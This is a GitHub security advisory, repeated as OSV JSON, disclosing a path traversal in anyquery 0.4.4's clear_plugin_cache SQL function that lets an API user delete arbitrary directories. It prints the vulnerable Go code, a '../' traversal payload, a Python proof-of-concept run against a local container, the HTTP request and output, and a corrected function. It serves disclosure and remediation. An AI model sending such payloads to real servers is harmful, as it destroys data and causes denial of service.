GHSA-J9RX-RPPG-6HH4

Vulnerability from github – Published: 2026-06-10 17:11 – Updated: 2026-06-10 17:11
VLAI
Summary
Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion
Details

Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion

Field Value
Repository julien040/anyquery
Affected version 0.4.4
Vulnerability CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Severity High

Summary

The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.

Affected Code

namespace/other_functions.go:46 — pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root

namespace/other_functions.go:53 — os.RemoveAll unconditionally deletes the traversed path

func clear_plugin_cache(plugin string) string {
    pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

    if plugin == "" {
        return "The plugin name is empty"
    }

    // Remove the directory
    err := os.RemoveAll(pathToRemove)
    if err != nil {
        return err.Error()
    }

    return ""
}

HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46 → os.RemoveAll at other_functions.go:53

Proof of Concept

Prerequisites: - Docker installed - Python 3 with requests package (pip install requests)

Step 1 — Build and start the vulnerable service:

docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

Step 2 — Run the PoC script (separate terminal):

python3 poc.py

poc.py:

#!/usr/bin/env python3
"""PoC reproduction script — julien040/anyquery / VULN-002

Prerequisites:
    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
    - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up):
    python3 poc.py

Expected on success:
    Final stdout line begins with `RESULT: PASS` confirming that the sentinel
    directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""

import subprocess
import sys
import json
import requests

BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"


def docker_exec(cmd):
    result = subprocess.run(
        ["docker", "exec", CONTAINER] + cmd,
        capture_output=True, text=True
    )
    return result.returncode, result.stdout, result.stderr


def sentinel_exists():
    rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
    return rc == 0


# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
    sys.exit(f"RESULT: FAIL — could not create sentinel: {err}")
if not sentinel_exists():
    sys.exit("RESULT: FAIL — sentinel not present after mkdir")
print(f"    Sentinel created: {SENTINEL_PATH}")

# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
    r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
    assert r.status_code == 200, f"unexpected status {r.status_code}"
    print(f"    GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
    sys.exit(f"RESULT: FAIL — server not reachable: {e}")

# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
    f"{BASE_URL}/execute-query",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload),
    timeout=10,
)
print(f"    HTTP {r.status_code}")
print(f"    Body: {r.text.strip()}")

if r.status_code != 200:
    sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}")

# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
    print(f"    Sentinel still present — traversal did not delete it.")
    print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request")
else:
    print(f"    Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.")
    print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")

HTTP request:

POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

Output:

[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE — /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

Impact

An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.

Remediation

In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:

func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}

As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/julien040/anyquery"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T17:11:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | julien040/anyquery |\n| Affected version | 0.4.4 |\n| Vulnerability    | CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory |\n| Severity         | High |\n\n\n## Summary\n\nThe SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache(\u0027../../../../tmp/target\u0027)` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation.\n\n## Affected Code\n\n`namespace/other_functions.go:46` \u2014 `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root\n\n`namespace/other_functions.go:53` \u2014 `os.RemoveAll` unconditionally deletes the traversed path\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n\tpathToRemove := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)\n\n\tif plugin == \"\" {\n\t\treturn \"The plugin name is empty\"\n\t}\n\n\t// Remove the directory\n\terr := os.RemoveAll(pathToRemove)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn \"\"\n}\n```\n\nHTTP JSON `body.Query` \u2192 `executeQueryLLM` (`controller/llm.go:420-426`) \u2192 `shell.Run` \u2192 SQLite `clear_plugin_cache(plugin)` \u2192 `pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)` at `other_functions.go:46` \u2192 `os.RemoveAll` at `other_functions.go:53`\n\n## Proof of Concept\n\n**Prerequisites:**\n- Docker installed\n- Python 3 with `requests` package (`pip install requests`)\n\n**Step 1 \u2014 Build and start the vulnerable service:**\n\n```bash\ndocker build -f Dockerfile -t anyquery-vuln002 .\ndocker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n```\n\n**Step 2 \u2014 Run the PoC script (separate terminal):**\n\n```bash\npython3 poc.py\n```\n\n**poc.py:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC reproduction script \u2014 julien040/anyquery / VULN-002\n\nPrerequisites:\n    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .\n    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n    - Python packages: requests (stdlib subprocess also used)\n\nHow to run (from this report directory, after Dockerfile service is up):\n    python3 poc.py\n\nExpected on success:\n    Final stdout line begins with `RESULT: PASS` confirming that the sentinel\n    directory outside the cache root was deleted via clear_plugin_cache path traversal.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8070\"\nCONTAINER = \"anyquery-vuln002\"\n# Traversal payload: XDG_CACHE_HOME=/root/.cache, so\n# path.Join(\"/root/.cache\",\"anyquery\",\"plugins\",\"../../../../tmp/poc_sentinel\")\n# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).\nTRAVERSAL_PLUGIN = \"../../../../tmp/poc_sentinel\"\nSENTINEL_PATH = \"/tmp/poc_sentinel\"\nQUERY = f\"SELECT clear_plugin_cache(\u0027{TRAVERSAL_PLUGIN}\u0027)\"\n\n\ndef docker_exec(cmd):\n    result = subprocess.run(\n        [\"docker\", \"exec\", CONTAINER] + cmd,\n        capture_output=True, text=True\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef sentinel_exists():\n    rc, _, _ = docker_exec([\"test\", \"-d\", SENTINEL_PATH])\n    return rc == 0\n\n\n# Step 1: create sentinel inside container\nprint(f\"[1] Creating sentinel directory {SENTINEL_PATH} inside container...\")\nrc, out, err = docker_exec([\"mkdir\", \"-p\", SENTINEL_PATH])\nif rc != 0:\n    sys.exit(f\"RESULT: FAIL \u2014 could not create sentinel: {err}\")\nif not sentinel_exists():\n    sys.exit(\"RESULT: FAIL \u2014 sentinel not present after mkdir\")\nprint(f\"    Sentinel created: {SENTINEL_PATH}\")\n\n# Step 2: confirm server is reachable\nprint(\"[2] Confirming server is reachable...\")\ntry:\n    r = requests.get(f\"{BASE_URL}/list-tables\", timeout=5)\n    assert r.status_code == 200, f\"unexpected status {r.status_code}\"\n    print(f\"    GET /list-tables \u2192 HTTP {r.status_code} OK\")\nexcept Exception as e:\n    sys.exit(f\"RESULT: FAIL \u2014 server not reachable: {e}\")\n\n# Step 3: send traversal request\nprint(\"[3] Sending path-traversal payload via POST /execute-query...\")\npayload = {\"query\": QUERY}\nr = requests.post(\n    f\"{BASE_URL}/execute-query\",\n    headers={\"Content-Type\": \"application/json\"},\n    data=json.dumps(payload),\n    timeout=10,\n)\nprint(f\"    HTTP {r.status_code}\")\nprint(f\"    Body: {r.text.strip()}\")\n\nif r.status_code != 200:\n    sys.exit(f\"RESULT: FAIL \u2014 unexpected HTTP status {r.status_code}\")\n\n# Step 4: verify sentinel is gone\nprint(\"[4] Checking whether sentinel was deleted inside container...\")\nif sentinel_exists():\n    print(f\"    Sentinel still present \u2014 traversal did not delete it.\")\n    print(f\"RESULT: FAIL \u2014 {SENTINEL_PATH} still exists after traversal request\")\nelse:\n    print(f\"    Sentinel GONE \u2014 {SENTINEL_PATH} deleted outside cache root.\")\n    print(f\"RESULT: PASS \u2014 clear_plugin_cache(\u0027{TRAVERSAL_PLUGIN}\u0027) deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)\")\n```\n\n**HTTP request:**\n\n```http\nPOST /execute-query HTTP/1.1\nHost: 127.0.0.1:8070\nContent-Type: application/json\n\n{\"query\": \"SELECT clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027)\"}\n```\n\n**Output:**\n\n```text\n[1] Creating sentinel directory /tmp/poc_sentinel inside container...\n    Sentinel created: /tmp/poc_sentinel\n[2] Confirming server is reachable...\n    GET /list-tables \u2192 HTTP 200 OK\n[3] Sending path-traversal payload via POST /execute-query...\n    HTTP 200\n    Body: +----------------------------------------------------+\n| clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027) |\n+----------------------------------------------------+\n|                                                    |\n+----------------------------------------------------+\n1 results\n[4] Checking whether sentinel was deleted inside container...\n    Sentinel GONE \u2014 /tmp/poc_sentinel deleted outside cache root.\nRESULT: PASS \u2014 clear_plugin_cache(\u0027../../../../tmp/poc_sentinel\u0027) deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)\n```\n\n## Impact\n\nAn authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a `..`-traversing plugin name to `clear_plugin_cache`. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary (`$XDG_CACHE_HOME/anyquery/plugins/`). In a realistic deployment, an attacker could target configuration directories, application data, or the user\u0027s home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.\n\n## Remediation\n\nIn `namespace/other_functions.go`, resolve the full path and confirm it shares the expected cache-root prefix before calling `os.RemoveAll`:\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n    if plugin == \"\" {\n        return \"The plugin name is empty\"\n    }\n    cacheRoot := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\")\n    pathToRemove := pathlib.Join(cacheRoot, plugin)\n    rel, err := filepath.Rel(cacheRoot, pathToRemove)\n    if err != nil || strings.HasPrefix(rel, \"..\") || rel == \"..\" {\n        return \"Invalid plugin name\"\n    }\n    if err := os.RemoveAll(pathToRemove); err != nil {\n        return err.Error()\n    }\n    return \"\"\n}\n```\n\nAs a defence-in-depth measure, also reject `plugin` values containing `/`, `\\`, or a leading `.` at the input level before the `path.Join` call, so traversal sequences are blocked at the earliest opportunity.",
  "id": "GHSA-j9rx-rppg-6hh4",
  "modified": "2026-06-10T17:11:53Z",
  "published": "2026-06-10T17:11:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/julien040/anyquery/security/advisories/GHSA-j9rx-rppg-6hh4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/julien040/anyquery"
    },
    {
      "type": "WEB",
      "url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Anyquery has Path Traversal through `clear_plugin_cache`, Allowing Arbitrary Directory Deletion"
}



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